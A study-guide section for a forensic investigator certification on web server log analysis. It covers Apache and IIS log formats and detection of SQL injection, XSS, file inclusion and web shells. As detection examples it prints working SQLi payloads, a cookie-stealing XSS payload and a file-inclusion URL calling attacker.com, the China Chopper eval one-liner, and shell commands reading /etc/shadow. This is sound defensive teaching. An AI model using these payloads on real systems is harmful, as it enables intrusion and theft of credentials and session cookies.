Study guide
13.2 Web Server Forensics: Apache/IIS Access Logs, SQL Injection, XSS & Web Shell Detection
Computer Hacking Forensic Investigator CHFI 312-49
Track your progress as you read
Finished sections get a check mark.
1 Chapter 1: Foundations of Digital Forensics & Cybercrime Investigation
1.1 Cybercrime Classifications, Forensic Science Principles & Legal Admissibility 1.2 RFC 3227 Order of Volatility, Live vs. Dead Acquisition & Forensic Readiness 1.3 Indicators of Compromise (IoCs), Cyber Attribution & Threat Intelligence 1.4 AI-Assisted Forensics, GitOps, Automation/Orchestration & Forensics-as-a-Service (FaaS)
2 Chapter 2: Modern Forensic Environments & Emerging Threats
2.1 Fileless Malware, In-Memory Execution & Living-off-the-Land (LotL) 2.2 IoT & Operational Technology (OT/SCADA) Forensic Fundamentals 2.3 Dark Web, Tor Network, Onion Routing & Hidden Services Forensics 2.4 Blockchain Transactions, Cryptocurrency Tracing & Digital Asset Investigations
3 Chapter 3: Legal Frameworks, Search Warrants & Evidence Rules
3.1 Federal Rules of Evidence (FRE 702, 901, 902, 1001-1003) & Daubert/Frye Standards 3.2 Fourth Amendment, Warrant Exceptions, Workplace Search & Consent Protocols 3.3 International Standards: ISO/IEC 27037, ACPO Principles & ENFSI Guidelines 3.4 Cybercrime Statutes, Privacy Compliance, CAN-SPAM & International Cooperation
4 Chapter 4: eDiscovery, Chain of Custody & Professional Ethics
4.1 Electronic Discovery Reference Model (EDRM) & Legal Spoliation Holds 4.2 Chain of Custody Documentation, Evidence Packaging & Tamper-Evident Handling 4.3 Expert Witness Testimony, Report Writing Standards & EC-Council Code of Ethics
5 Chapter 5: Storage Architecture, Boot Sequences & Media Forensics
5.1 Storage Media Architecture: Sectors, Clusters, RAM/File Slack & Unallocated Space 5.2 Partition Tables & Boot Structures: MBR, GPT, VBR, BIOS vs. UEFI Secure Boot 5.3 RAID Reconstruction (RAID 0, 1, 5, 6, 10) & SSD Forensic Challenges (TRIM, Wear Leveling)
6 Chapter 6: Windows File Systems: NTFS & FAT
6.1 NTFS Architecture: Master File Table ($MFT) Record Structure & Attribute Headers 6.2 NTFS Artifacts: Alternate Data Streams (ADS), Volume Shadow Copies (VSS) & $LogFile 6.3 FAT12/16/32 and exFAT Architecture, Directory Entries & File Deletion Mechanics
7 Chapter 7: Non-Windows File Systems & File Signatures
7.1 Linux File Systems: ext2/ext3/ext4 Inode Architecture, Superblocks & Journaling Forensics 7.2 macOS File Systems: HFS+ and Apple File System (APFS) Architecture & Snapshots 7.3 File Signatures, Magic Bytes, Hex Headers/Footers & File Carving Techniques
8 Chapter 8: Investigation Lifecycle, Lab Setup & First Response
8.1 Forensic Laboratory Accreditation: ISO/IEC 17025 Standards & Hardware/Software Controls 8.2 First Responder Duties: Crime Scene Containment, Electronic Triage & Volatile Triage 8.3 Physical Evidence Packaging, Anti-Static/Faraday Protection & Transport Security
9 Chapter 9: Forensic Acquisition & Verification Methodology
9.1 Hardware and Software Write-Blockers: Operational Validation & Bridge Verification 9.2 Bit-Stream Disk Imaging, Physical vs. Logical vs. Targeted Acquisition Methodology 9.3 Forensic Image Formats (RAW/DD, E01, AFF) & Cryptographic Hashing Verification (MD5, SHA-256)
10 Chapter 10: Anti-Forensics Techniques & Countermeasures
10.1 Steganography Detection: Spatial/Frequency Domain Steganalysis & Hidden Carrier Extraction 10.2 Timestomping Countermeasures: Comparing $STANDARD_INFORMATION vs $FILE_NAME Timestamps 10.3 Secure Wiping, Degaussing, File Shredding Countermeasures & Residual Artifact Recovery
11 Chapter 11: Windows Operating System Forensics
11.1 Windows Registry Forensics: SYSTEM, SOFTWARE, SAM & NTUSER.DAT Hive Analysis 11.2 Execution Artifacts: Prefetch (.pf), Shimcache (AppCompatCache), Amcache.hve & UserAssist 11.3 User Activity Artifacts: ShellBags, LNK Shortcut Files, Jump Lists & Recycle Bin ($I/$R) 11.4 Windows Event Log Forensics: Security Audit IDs (4624, 4625, 4688, 4720, 7045) & EVTX Parsing
12 Chapter 12: Memory Forensics & Malware Analysis
12.1 Volatile Memory Acquisition: RAM Capture, Crash Dumps, Hiberfil.sys & Pagefile.sys 12.2 Memory Analysis with Volatility 3: pslist, pstree, malfind, netscan & Vadinfo 12.3 Static Malware Triage: Strings, PE Headers, Import Tables, Hashes & YARA Rule Matching 12.4 Dynamic Malware Analysis: Sandboxing, Process Monitor (Procmon), Regshot & Network Callouts 12.5 .NET Managed Malware Analysis & the GOOTLOADER Fileless Infection Chain
13 Chapter 13: Network, Web Application & Email Forensics
13.1 Network Forensics: PCAP Analysis, Protocol Dissection, Snort/Suricata & Flow Analysis 13.2 Web Server Forensics: Apache/IIS Access Logs, SQL Injection, XSS & Web Shell Detection 13.3 Email Forensics: RFC 5322 Headers, Authentication (SPF, DKIM, DMARC) & Mbox/PST Extraction 13.4 SIEM Event Correlation, Cross-Source Timeline Analysis & Super-Timeline Construction 13.5 Investigating Directory Traversal, Command Injection, Parameter Tampering, XXE, Cookie Poisoning & Brute Force 13.6 Network Device & Service Log Forensics: Firewall, IDS, Honeypot, Router, DHCP, Switch, VPN, DNS & SSH 13.7 Wireless Network Forensics: Rogue APs, Evil Twins, MAC Spoofing, Deauthentication & Jamming
14 Chapter 14: Mobile, Cloud & IoT Forensics
14.1 Mobile Device Forensics: Manual, Logical, File System & Physical Extraction (Android/iOS) 14.2 Mobile Artifact Analysis: Call Logs, SMS/Chat SQLite Databases, Location Data & Plists 14.3 Cloud Forensics: AWS CloudTrail, Azure Activity Logs & Multi-Tenant Evidence Collection 14.4 IoT Forensics: UART/JTAG Physical Interfaces, Firmware Extraction & Sensor Telemetry
15 Chapter 15: Commercial & Open-Source Forensic Suites
15.1 Commercial Forensic Platforms: EnCase Forensic, FTK (Forensic Toolkit) & FTK Imager 15.2 Open-Source Forensic Platforms: Autopsy, The Sleuth Kit (TSK) & SIFT/CAINE Workstations 15.3 Specialized DFIR Utilities: Eric Zimmerman Tools (EZ Tools) & Sysinternals Forensic Suite
16 Chapter 16: Analysis Toolkits, Python Scripting & Tool Validation
16.1 Reverse Engineering & Password Cracking: Ghidra, IDA Pro, Hashcat & John the Ripper 16.2 Python for Digital Forensics: Parsing Raw Artifacts, Custom Scapy Scripts & Evidence Automation 16.3 Forensic Tool Testing & Validation: NIST CFTT Methodology, ISO/IEC 17025 Standards & Daubert Compliance
17 Chapter 17: Database Forensics & Web Application Firewalls
17.1 MySQL Forensics: Internal Architecture, Data Directory, Information Schema & Utility Programs 17.2 SQL Server Forensics: SSMS, ApexSQL, SQLCMD Transaction-Log Collection, Plan Cache & Trace Files 17.3 Web Application Firewall (WAF) Architecture, Audit Logs, Benefits & Limitations
18 Chapter 18: Social, Virtualized, Multimedia & Browser Investigations
18.1 Social Media, Social Engineering, Insider Threat & Identity Theft Forensics 18.2 Virtualization, Container & Microservices Forensics, Bluetooth and Electron Chat Applications 18.3 Multimedia Forensics: Image, Audio & Video Authentication, EXIF, PRNU and Deepfake Detection 18.4 Browser Artifact Recovery, Private Browsing, USB Enumeration, Partition Recovery & Packer Unpacking Tools
13.2 Web Server Forensics: Apache/IIS Access Logs, SQL Injection, XSS & Web Shell Detection
Key Takeaways Explain This Topic AI
Apache and Nginx Combined Log Format standardizes access logging into nine distinct tokens: Remote Host (%h), Remote Logname (%l), Remote User (%u), Timestamp (%t), Request Line (%r), Status Code (%>s), Bytes Sent (%b), Referer header, and User-Agent string.
Microsoft IIS W3C Extended Log Format utilizes a space-delimited structure defined by the #Fields: directive, storing timestamps in Coordinated Universal Time (UTC) by default regardless of the local server timezone.
Microsoft IIS logging incorporates crucial substatus codes: 401.1 denotes invalid credentials, 401.2 indicates logon failure due to server configuration, 403.14 marks directory listing denied, and 404.3 indicates execution denied by MIME mapping.
SQL Injection (SQLi) attacks manifest in web access logs via URL-encoded quotation marks (%27), UNION SELECT statements, Boolean tautologies (OR 1=1), and time-delay execution primitives (WAITFOR DELAY, pg_sleep) visible through response time metrics.
Web shells (e.g., China Chopper, C99, b374k, Weevely) are identified by high Shannon entropy in web root scripts, anomalous HTTP POST requests to static or utility files, and web worker processes (w3wp.exe or www-data) spawning command-line shells (cmd.exe, powershell.exe, /bin/sh).
Last updated: September 2026
13.2 Web Server Forensics: Apache/IIS Access Logs, SQL Injection, XSS & Web Shell Detection
Quick Answer: Web server forensics centers on decoding HTTP transactions recorded across access, error, and application logs. The Apache/Nginx Combined Log Format records client IP, authenticated user, timestamp, request line, HTTP status code, bytes sent, HTTP referer, and user-agent string. Microsoft IIS W3C Extended Log Format logs fields governed by the #Fields: directive, defaulting strictly to Coordinated Universal Time (UTC) . IIS provides three distinct status codes per request: HTTP status ( sc-status ), substatus ( sc-substatus ), and underlying Windows error code ( sc-win32-status ). Investigating web attacks requires identifying SQL Injection (SQLi) primitives ( UNION SELECT , ' OR '1'='1 , WAITFOR DELAY ), Cross-Site Scripting (XSS) tags in query strings or referrers, and Directory Traversal patterns ( ../..%2f ). Stealth web shells (such as China Chopper) feature high Shannon entropy, receive repetitive HTTP POST requests with 200 OK statuses, and trigger anomalous process lineages where the web worker process ( w3wp.exe on Windows or www-data on Linux) spawns interactive command shells ( cmd.exe , powershell.exe , /bin/sh ).
Web Server Architecture & Logging Paradigms
Web applications operate within a multi-tiered architecture consisting of the client browser, a front-end web server (Apache, Nginx, Microsoft IIS), an application execution engine (PHP, ASP.NET, Node.js, Python WSGI), and a backend database management system (MSSQL, MySQL, PostgreSQL, Oracle). +-------------------------------------------------------------------------+
- | DEFAULT WEB SERVER LOG DIRECTORIES |
- +-------------------------------------------------------------------------+
- | Web Server Engine | Operating System | Default Log File Locations |
- |-------------------|------------------|----------------------------------|
- | **Apache HTTPD** | Linux (Debian) | /var/log/apache2/access.log |
- | | | /var/log/apache2/error.log |
- | | Linux (RHEL) | /var/log/httpd/access_log |
- | | | /var/log/httpd/error_log |
- | **Nginx** | Linux | /var/log/nginx/access.log |
- | | | /var/log/nginx/error.log |
- | **Microsoft IIS** | Windows Server | %SystemDrive%\inetpub\logs\ |
- | | | LogFiles\W3SVC[SiteID]\u_ex[YYMMDD].log |
- +-------------------------------------------------------------------------+
- The Forensic Significance of HTTP Methods
GET : Requests data from the specified resource. Query parameters are appended directly to the URL ( ?id=10&cat=books ), meaning GET-based attacks are preserved directly in web server access logs .
POST : Submits data to be processed to a specified resource. Payloads reside in the HTTP message body. Standard web server access logs DO NOT record HTTP POST request bodies by default to conserve disk space and prevent credential harvesting. Forensic evidence of POST-based attacks must be inferred from the target URI stem, request method, byte count ( cs-bytes and sc-bytes ), error logs, or network packet captures.
HEAD , PUT , DELETE , OPTIONS : OPTIONS is frequently used by automated vulnerability scanners (Nikto, Nessus) to enumerate server capabilities; PUT may indicate direct web shell upload if WebDAV or insecure HTTP methods are enabled.
Apache and Nginx Combined Log Format
The Combined Log Format is the industry standard for Apache and Nginx web servers. It expands the legacy Common Log Format (CLF) by appending the Referer and User-Agent HTTP request headers. Combined Log Format Directive:
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined Sample Apache Log Entry:
198.51.100.45 - admin [22/Sep/2026:14:22:10 -0400] "GET /admin/users.php?id=1%27%20OR%201=1-- HTTP/1.1" 200 4521 "https://example.com/admin/login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" +-------------------------------------------------------------------------+
- | APACHE COMBINED LOG FORMAT TOKEN DISSECTION |
- +-------------------------------------------------------------------------+
- | Token | Field Name | Sample Value | Forensic Significance |
- |--------|---------------------|-----------------------|-----------------------|
- | **%h** | Remote Client Host | 198.51.100.45 | Attacker IP or proxy |
- | **%l** | Remote Logname | - | Identd output (rare) |
- | **%u** | Authenticated User | admin | Logged-in username |
- | **%t** | Event Timestamp | [22/Sep/2026:14:22...]| Local time + UTC offset|
- | **%r** | Request Line | "GET /admin/users..." | Method, URI, Protocol |
- | **%>s**| Final Status Code | 200 | HTTP Response Code |
- | **%b** | Bytes Sent (Payload)| 4521 | Response size to client|
- | Referer| HTTP Referer Header | "https://...login.php"| Originating web page |
- | User-A | HTTP User-Agent | "Mozilla/5.0..." | Client browser/tool |
- +-------------------------------------------------------------------------+
Note
Apache log timestamps incorporate the local server timezone offset (e.g., -0400 for Eastern Daylight Time). When constructing a multi-source forensic timeline, investigators must convert these timestamps to Coordinated Universal Time (UTC).
Microsoft IIS W3C Extended Log Format
Microsoft Internet Information Services (IIS) utilizes the W3C Extended Log Format , a space-delimited text format prefixed with metadata comments.
The #Fields: Directive
The first lines of an IIS log file define the active schema: #Software: Microsoft Internet Information Services 10.0
- #Version: 1.0
- #Date: 2026-09-22 18:22:10
#Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken
Deciphering IIS W3C Prefixes
s- : Server action/attribute (e.g., s-ip = Destination Server IP, s-port = Server listening port).
c- : Client action/attribute (e.g., c-ip = Source Client IP).
cs- : Client-to-Server transmission (e.g., cs-method = HTTP verb, cs-uri-stem = target path, cs-uri-query = URL parameters).
sc- : Server-to-Client transmission (e.g., sc-status = HTTP response code, sc-bytes = bytes returned). +-------------------------------------------------------------------------+
- | CRITICAL MICROSOFT IIS STATUS & SUBSTATUS CODES |
- +-------------------------------------------------------------------------+
- | sc-status | sc-substatus | sc-win32 | Meaning & Forensic Interpretation |
- |-----------|--------------|----------|-----------------------------------|
- | **200** | 0 | 0 | OK; request executed successfully |
- | **401** | 1 | 0 | Logon failed: Invalid credentials |
- | **401** | 2 | 0 | Logon failed: Server configuration|
- | **403** | 1 | 0 | Forbidden: Execute access denied |
- | **403** | 4 | 0 | Forbidden: SSL required |
- | **403** | 14 | 0 | Forbidden: Directory listing |
- | | | | denied (attacker enumerating dirs)|
- | **404** | 0 | 2 | Not Found (Win32 2 = File not found)|
- | **404** | 3 | 0 | Denied by MIME type restriction |
- | | | | (Server blocked prohibited ext.) |
- | **500** | 0 | 0 | Internal Server Error (frequently |
- | | | | triggers on unhandled SQL syntax) |
- +-------------------------------------------------------------------------+
- Crucial Exam Distinction: UTC Default in IIS
Unlike Apache, which writes local server time with a timezone offset, Microsoft IIS logs timestamps strictly in Coordinated Universal Time (UTC) by default . If an incident occurs on a server physically located in New York (EDT, UTC-4) at 10:00 AM local time, the event is recorded in the IIS log at 14:00:00 . Failing to account for this 4-hour offset leads to complete misidentification of attacker activity.
Microsoft LogParser Forensic Querying
LogParser.exe is the premier command-line utility for querying massive IIS log files using SQL-like syntax: :: Querying IIS logs for SQL Injection attempts resulting in Internal Server Errors
LogParser.exe -i:W3C "SELECT date, time, c-ip, cs-method, cs-uri-stem, cs-uri-query, sc-status, sc-substatus FROM C:\inetpub\logs\LogFiles\W3SVC1\*.log WHERE sc-status=500 AND (cs-uri-query LIKE '%SELECT%' OR cs-uri-query LIKE '%UNION%')" -o:DATAGRID
- Investigating Web Application Attacks
- 1. SQL Injection (SQLi) Forensics
SQL Injection occurs when untrusted user input is directly concatenated into a dynamic SQL query string executed by the database engine. +-------------------------------------------------------------------------+
- | SQL INJECTION FORENSIC SIGNATURES |
- +-------------------------------------------------------------------------+
- | SQLi Technique | Signature Pattern in Access Logs / Queries |
- |---------------------|---------------------------------------------------|
- | **Tautology / Auth**| ' OR '1'='1' -- | ' OR 1=1# | admin' -- |
- | **Bypass** | URL-encoded: %27%20OR%201%3D1-- |
- |---------------------|---------------------------------------------------|
- | **UNION Extraction**| ' UNION SELECT null, username, password FROM users--|
- | | URL-encoded: %27%20UNION%20SELECT%20... |
- |---------------------|---------------------------------------------------|
- | **Error-Based** | ' AND 1=CONVERT(int, (SELECT @@version))-- |
- | | Produces sc-status 500 error in IIS logs |
- |---------------------|---------------------------------------------------|
- | **Blind Time-Based**| '; WAITFOR DELAY '0:0:5'-- (MSSQL) |
- | | ' AND (SELECT sleep(5))-- (MySQL) |
- | | Observable via IIS time-taken field (> 5000 ms) |
- |---------------------|---------------------------------------------------|
- | **Out-of-Band (OOB)**| '; EXEC master..xp_dirtree '\\attacker.com\share'--|
- | | Triggers external SMB/DNS resolution in PCAP |
- +-------------------------------------------------------------------------+
Forensic Indicators of SQLi in Logs:
Encoding: Attackers utilize standard URL encoding ( %27 = ' , %20 = space, %22 = " , %23 = # ), double encoding ( %2527 ), or hex representations to bypass web application firewall (WAF) filters.
Response Size ( sc-bytes / %b ): A sudden fluctuation in returned payload size—such as a catalog search that typically returns 1,200 bytes suddenly returning 450,000 bytes—indicates unauthorized mass data extraction via UNION SELECT .
Execution Duration ( time-taken ): In blind SQL injection, the attacker injects time delay functions. An IIS log exhibiting consecutive requests where time-taken increases systematically from 5012 to 10025 ms provides definitive proof of automated blind SQL injection scripts (e.g., sqlmap ).
2. Cross-Site Scripting (XSS) Forensics
Cross-Site Scripting involves injecting malicious client-side JavaScript into web applications to execute within a victim's browser session.
Reflected XSS: The malicious payload is embedded in a URL parameter or HTTP header and reflected off the web server in the immediate response. Reflected XSS is directly observable in access logs within cs-uri-query or cs(Referer) .
Stored XSS: The malicious script is permanently stored in a database, forum post, or comment field. When legitimate users view the page, the script executes. Stored XSS does not appear in access logs during execution ; investigators must audit backend database records and administrative submission logs.
DOM-Based XSS: The vulnerability exists entirely within client-side JavaScript executing in the browser (e.g., reading from location.hash and writing to document.write ). The payload is processed client-side and never reaches the web server , leaving zero traces in server access logs. Common XSS Log Signatures:
- <script>alert(document.cookie)</script>
- URL-Encoded: %3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E
- Event Handlers: <img src=x onerror=this.src='http://attacker.com/steal?c='+document.cookie>
- 3. Directory Traversal & LFI / RFI Forensics
Directory Traversal (Path Traversal): Exploits insufficient input validation to escape the web document root using dot-dot-slash sequences ( ../ or ..\ ), accessing sensitive operating system configuration files.
UNIX Targets: /etc/passwd , /etc/shadow , /var/log/auth.log .
Windows Targets: C:\Windows\win.ini , C:\boot.ini , C:\Windows\System32\drivers\etc\hosts .
Encoded Traversal Variations: %2e%2e%2f ( ../ ), %252e%252e%252f (double encoded), ..%c0%af (UTF-8 overlong encoding bypass).
Local File Inclusion (LFI): Forces the web application to execute an existing local file on the server (e.g., index.php?page=../../../../var/log/apache2/access.log ). Adversaries inject PHP code into their HTTP User-Agent header, request the page, and then use LFI to execute the access log (known as Log Poisoning ).
Remote File Inclusion (RFI): Forces the server to download and execute code hosted on an external remote server (e.g., index.php?page=http://attacker.com/evil.php ). Identifiable in logs by full URL prefixes ( http:// , https:// , ftp:// ) residing in URI parameter strings.
Web Shell Forensic Detection & Investigation
A web shell is a malicious script uploaded to a web server that provides adversaries with an administrative backdoor, file manager, and remote command execution interface. +-------------------------------------------------------------------------+
- | COMMON WEB SHELL FAMILIES |
- +-------------------------------------------------------------------------+
- | Web Shell Family | Script Type | Key Structural Characteristics |
- |------------------|-------------|----------------------------------------|
- | **China Chopper**| ASPX, PHP, | Minimalist "one-liner" shell (4 KB or |
- | | JSP | 73 bytes). Uses eval() with POST var: |
- | | | <?php @eval($_POST['password']);?> |
- | **C99 / WSO** | PHP | Heavyweight graphical interface; |
- | | | file browsing, SQL console, brute force|
- | **b374k** | PHP | Obfuscated base64 shell with packing |
- | **Weevely** | PHP | Stealth CLI web shell simulating Telnet|
- +-------------------------------------------------------------------------+
- Forensic Indicators of Web Shells on Disk
High Shannon Entropy: Web shells almost universally employ multi-layer obfuscation ( eval(gzinflate(base64_decode(...))) ) or dynamic character construction to evade static antivirus signatures, resulting in abnormally high entropy (> 6.0).
Timestomping: Attackers alter the $STANDARD_INFORMATION attribute on NTFS to match surrounding legitimate system files. Comparing $STANDARD_INFORMATION with $FILE_NAME timestamps in the Master File Table (MFT) exposes timestomped web shells.
Unusual Script Locations: Web execution scripts residing within upload-only media directories (e.g., /wp-content/uploads/2026/09/profile.php or /images/banner.aspx ).
Access Log Signatures of Web Shell Interaction
Continuous POST Requests to a Single Endpoint: While normal web users submit occasional GET and POST requests, an adversary interacting with a web shell generates dozens of consecutive HTTP POST requests to an obscure script path with 200 OK status codes.
Low Inbound / High Outbound Payload Differential: A short POST request (e.g., sending whoami or dir ) generates a 40-byte client request ( cs-bytes ) but returns an enormous server payload ( sc-bytes = 150,000 bytes) containing command output or file listings.
Missing or Forged Referer Headers: Web shell management clients (e.g., the China Chopper GUI client) frequently submit requests without an HTTP Referer header or with a hardcoded static string.
Process Lineage & Child Execution Anomalies
The definitive proof of web shell execution resides in operating system process creation logs (Windows Security Event ID 4688 or Sysmon Event ID 1). Windows IIS Process Tree: Linux Apache Process Tree:
- w3wp.exe (IIS Worker Process) apache2 / httpd (www-data)
- │ │
- └── cmd.exe / powershell.exe └── /bin/sh or /bin/bash
- │ │
- ├── whoami.exe ├── whoami
- ├── net.exe user ├── cat /etc/shadow
- └── certutil.exe -urlcache └── curl http://attacker/mal
Under normal operations, the IIS worker process ( w3wp.exe ) and Linux web daemons ( apache2 , httpd , nginx ) should never spawn interactive command interpreters ( cmd.exe , powershell.exe , /bin/sh , /bin/bash ). Any instance of w3wp.exe serving as the Parent Process ID (PPID) for a command shell represents active web shell execution or remote code execution (RCE).